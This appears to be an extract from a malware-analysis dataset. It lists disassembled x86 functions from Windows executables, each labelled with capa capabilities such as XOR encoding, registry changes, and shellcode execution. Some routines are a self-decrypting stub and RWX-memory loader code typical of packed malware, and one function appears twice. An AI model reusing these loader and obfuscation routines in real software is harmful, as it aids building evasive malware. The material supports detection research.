joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d4c3a32
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d4c3a41
pop dword [ebp - 0x34]
mov eax, 0xad56562e
sub eax, 0x400a1bed
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x39b60
push 0
mov eax, 0x7cae1ab8
add eax, 0xf09f062c
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x9ae2e0f1
sub ecx, 0x9ae291a1
mov esi, eax
mov edx, 0x6d4e2600
add edx, dword [ebp - 0x34]
mov edi, 0xda62c9ec
add edi, 0xeaaecf58
add dword [ebp - 0x20], 0x70ddb7ed
mov ebx, dword [edx]
mov dword [ebp - 0x18], 0x184ce8cc
add ebx, edi
add dword [ebp - 0xc], 0x485a8319
mov dword [esi], ebx
xor dword [ebp - 0x28], edx
add esi, 0x5717eacc
add esi, 0xa8e81538
add edx, 0xc60b1832
add edx, 0x39f4e7d2
loop 0x6d4c3a9a
add eax, 0x13013
mov ebx, eax
add eax, 0x6bf8c79c
sub eax, 0x6bf8c797
mov ecx, 0x6fd3d5e7
add ecx, 0xfd782a19
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x6d4c64bc
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d4c650a
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d4c651b
push 0xd
pop eax
jmp 0x6d4c6545
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d4c651e
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d4c6ad6
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d4dc420]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d4c3a32
mov ebx, eax
cmp ebx, esi
je 0x6d4c6b49
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d4cf9b2
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d4c6b61
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d4c6ad6
cmp eax, esi
jne 0x6d4c6b93
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d4c6b51
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d4c63e5
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d4c4db9
mov eax, esi
jmp 0x6d4c6b2f
Function at 0x6d4cf62d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d4dcaec], 0
push esi
push edi
jne 0x6d4cf5a3
call fcn.6d4cf50f
test eax, eax
je 0x6d4cf5e8
mov eax, dword [0x6d4dcaec]
cmp eax, 1
jne 0x6d4cf5c4
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d4cf5e8
jmp 0x6d4cf62a
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d4cf62a
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d4cf5ec
xor eax, eax
jmp 0x6d4cf62a
mov eax, dword [esi]
push dword [0x6d4dcaec]
call edi
mov edi, eax
test edi, edi
je 0x6d4cf60e
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d4cf62a
lea edi, [esi + 0xff0]
push esi
push dword [0x6d4dcaec]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d4cf614
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d4cf58f

Function at 0x6d4cf9b2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d4dc420]
jne 0x6d4cf9bc
repz ret
jmp fcn.6d4d005e

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40cfc0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x552458
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x6a50f0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040c520
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
mov ecx, dword [str.SOFTWAREMetronAxm001]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d085
mov dword [ebp - 0x24], 0x104
lea edx, [ebp - 0x24]
push edx
push 0x104
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040c690
push eax
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [str.DefLicensePath]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d05d
cmp dword [ebp - 0x18], 1
je 0x40d06b
cmp dword [ebp - 0x18], 2
je 0x40d06b
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040c520
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040ce90
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040c8d0
movzx ecx, al
test ecx, ecx
je 0x40d173
lea ecx, [ebp - 0x14]
call fcn.0040bf20
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x14]
call fcn.0040c690
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x14]
call fcn.0040ce90
push 0x5c
lea ecx, [ebp - 0x14]
call fcn.0040cf40
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x40d0f6
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040bf90
jmp 0x40d173
mov edx, dword [str.Axm001.lic]
push edx
mov eax, dword [ebp - 0x20]
add eax, 1
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x14]
call fcn.0040c960
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.0040c0b0
add esp, 0xc
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xcc
call fcn.0040c090
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.0040bf90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.0040bf90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040bf90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40f150
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40f174
xor eax, eax
jmp 0x40f1f4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40f18b
xor eax, eax
jmp 0x40f1f4
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x40f1d7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x40f1d7
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x40f1ae
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x40f1e3
xor eax, eax
jmp 0x40f1f4
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x40f1f1
xor eax, eax
jmp 0x40f1f4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x418849
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x6a50f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x6a8da8]
push esi
push edi
mov edi, dword [ebp + 8]
test eax, eax
jne 0x418895
push 0x63c24c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4188b2
push str.SetDefaultDllDirectories
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [0x6a8da8], eax
jmp 0x41889e
push eax
call dword [sym.imp.KERNEL32.dll_DecodePointer]
mov esi, eax
test esi, esi
je 0x4188b2
push 0x800
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x41891f
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4188cd
xor eax, eax
jmp 0x41891f
lea eax, [ebp - 0x210]
push eax
call fcn.00534f22
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x4188fe
push 0x63c284
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00535fbf
add esp, 0xc
test eax, eax
jne 0x4188c9
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00535fbf
add esp, 0xc
test eax, eax
jne 0x4188c9
lea eax, [ebp - 0x210]
push eax
call fcn.0041d64e
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00531ddb
leave
ret
Function at 0x4190d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov esi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], esi
je 0x419115
call fcn.0041f456
mov ebx, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x419115
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x419131
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00428b89
mov ebx, eax
test edi, edi
je 0x41912f
test esi, esi
je 0x41912f
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41dbea
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x55bf8f
call fcn.00534dee
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x6c], esi
jne 0x41dc10
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41dc64
call fcn.00410d7d
push eax
lea ecx, [ebp - 0x10]
call fcn.0040bd90
mov ecx, dword [edi + 0x6c]
lea edx, [ebp - 0x10]
mov eax, dword [ecx]
push edx
mov dword [ebp - 4], esi
call dword [eax + 0x8c]
mov edi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push edi
call fcn.00534d46
push eax
call fcn.0040e160
add esp, 0x14
test edi, edi
je 0x41dc57
push edi
call fcn.00531d50
pop ecx
mov esi, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040ce50
mov eax, esi
call fcn.00534dbc
ret 8

Function at 0x41e081
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebx + 0x78], edi
test edi, 0xffff0000
jne 0x41e0a3
cmp dword [ebx + 0x74], 0
jne 0x41e0a3
movzx eax, di
mov dword [ebx + 0x74], eax
call fcn.0041f456
mov esi, dword [eax + 0xc]
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041e309
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41e0dd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.0041f456
mov ebx, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41e114
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.0041e133
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x41fc24
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x553090
call fcn.00534dee
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040db10
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp esi, 0x80000000
jne 0x41fc86
call fcn.0041f4a4
cmp eax, 1
jne 0x41fc86
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dfc0
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040c000
mov ecx, dword [ebp + 8]
mov byte [ebp - 4], 0
lea ecx, [ecx - 0x10]
call fcn.0040ce50
inc esi
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
test ecx, ecx
je 0x41fc98
call fcn.00413b9e
jmp 0x41fc9e
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0xc]
mov esi, eax
lea ecx, [ecx - 0x10]
call fcn.0040ce50
mov eax, esi
call fcn.00534dbc
ret 0xc

Function at 0x41fd4f
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x553090
call fcn.00534dee
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040db10
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp esi, 0x80000000
jne 0x41fdad
call fcn.0041f4a4
cmp eax, 1
jne 0x41fdad
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dfc0
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040c000
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.0040ce50
inc esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040ce50
mov eax, esi
call fcn.00534dbc
ret 0x10

Function at 0x41fdd4
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x553090
call fcn.00534dee
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040db10
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp esi, 0x80000000
jne 0x41fe32
call fcn.0041f4a4
cmp eax, 1
jne 0x41fe32
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dfc0
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040c000
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.0040ce50
inc esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040ce50
mov eax, esi
call fcn.00534dbc
ret 0x14
Function at 0x4217c9
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x6a50f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov dword [ebp - 0x20], eax
mov eax, dword [0x6a908c]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ebx
test eax, eax
jne 0x421822
push 0x63c24c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42183f
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [0x6a908c], eax
jmp 0x42182b
push eax
call dword [sym.imp.KERNEL32.dll_DecodePointer]
mov esi, eax
test esi, esi
je 0x42183f
mov eax, dword [ebp - 0x20]
push ebx
push edi
push eax
push dword [ebp + 8]
call esi
jmp 0x42197c
mov eax, dword [ebp - 0x20]
and dword [eax], 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx ecx, ax
mov ebx, ecx
push 7
lea eax, [ebp - 0x14]
and ecx, 0xfc00
and ebx, 0x3ff
push eax
or ecx, ebx
push ecx
call fcn.00552190
lea eax, [ebp - 0x14]
push eax
call fcn.00534f22
mov esi, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push dword [eax]
push edi
call fcn.00534ec6
push 7
lea eax, [ebp - 0x14]
push eax
push ebx
lea edi, [esi + 1]
call fcn.00552190
lea eax, [ebp - 0x14]
push eax
call fcn.00534f22
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, edi
push ecx
lea ecx, [eax + edi*2]
push ecx
call fcn.00534ec6
add esp, 0x38
add edi, esi
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
mov ebx, ecx
push 7
lea eax, [ebp - 0x14]
and ecx, 0xfc00
and ebx, 0x3ff
push eax
or ecx, ebx
push ecx
call fcn.00552190
lea eax, [ebp - 0x14]
push eax
call fcn.00534f22
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub ecx, edi
push ecx
lea ecx, [eax + edi*2]
push ecx
call fcn.00534ec6
push 7
lea eax, [ebp - 0x14]
push eax
push ebx
add edi, esi
call fcn.00552190
lea eax, [ebp - 0x14]
push eax
call fcn.00534f22
lea esi, [eax + 1]
lea eax, [ebp - 0x14]
mov ebx, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
sub ecx, edi
push ecx
lea ecx, [ebx + edi*2]
push ecx
call fcn.00534ec6
push 7
lea eax, [ebp - 0x14]
push eax
push 0x800
add edi, esi
call fcn.00552190
add esp, 0x44
lea eax, [ebp - 0x14]
push eax
call fcn.00534f22
mov esi, eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
sub ecx, edi
push ecx
lea ecx, [ebx + edi*2]
push ecx
call fcn.00534ec6
lea eax, [edi + esi]
xor ecx, ecx
mov word [ebx + eax*2 + 2], cx
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00531ddb
leave
ret
Function at 0x429f52
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
mov ecx, dword [esi + 4]
push eax
push dword [ebp + 0xc]
call fcn.0041db79
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x429f8e
call fcn.0042a16d
mov dword [esi + 0xc], 1
jmp 0x429f93
call fcn.0042a16d
cmp dword [esi], 0
je 0x429fdc
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x429fb6
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00414f97
jmp 0x429fc7
push 0xff
mov ecx, esi
call fcn.0040cd80
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0040ce90
jmp 0x42a000
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x42a000
push dword [esi]
push dword [ebp - 4]
call fcn.004206a8
pop esi
leave
ret 0xc

Function at 0x42a0c4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0042a16d
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x42a10c
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00414f97
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040ce90
jmp 0x42a117
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.004206a8
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x42ed73
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.0043f7d5
call fcn.0041f4aa
cmp dword [eax + 0x14], 0
jne 0x42ed8e
mov ecx, esi
pop esi
jmp fcn.0042e18d
pop esi
ret

Function at 0x43d4ae
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.00462449
call fcn.0041f4aa
cmp dword [eax + 0x14], 0
jne 0x43d4c9
mov ecx, esi
pop esi
jmp fcn.0043cda0
pop esi
ret

Function at 0x448cac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test esi, esi
jne 0x448cc4
call fcn.0041f456
mov esi, dword [eax + 0xc]
push 0x6436c4
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x448d1a
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x448d19
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x448cfa
xor esi, esi
jmp 0x448d10
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
call fcn.00448d20
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x50ba99
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
test byte [esi + 4], 1
push edi
mov dword [ebp - 4], ebx
je 0x50bab3
mov edi, dword [esi + 0xc]
jmp 0x50baf3
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x50bacc
call fcn.004249eb
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x50bae1
call fcn.004249eb
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x50baf3
call fcn.004249eb
call fcn.0041f456
cmp dword [eax + 0x3c], 0
je 0x50bb08
push edi
mov ecx, ebx
call fcn.0050b32d
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0050bccb
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x7c]
test ecx, ecx
je 0x50bb2b
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x7c], 0
test ebx, ebx
je 0x50bb34
mov edi, ebx
mov dword [eax + 0x7c], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
leave
ret 8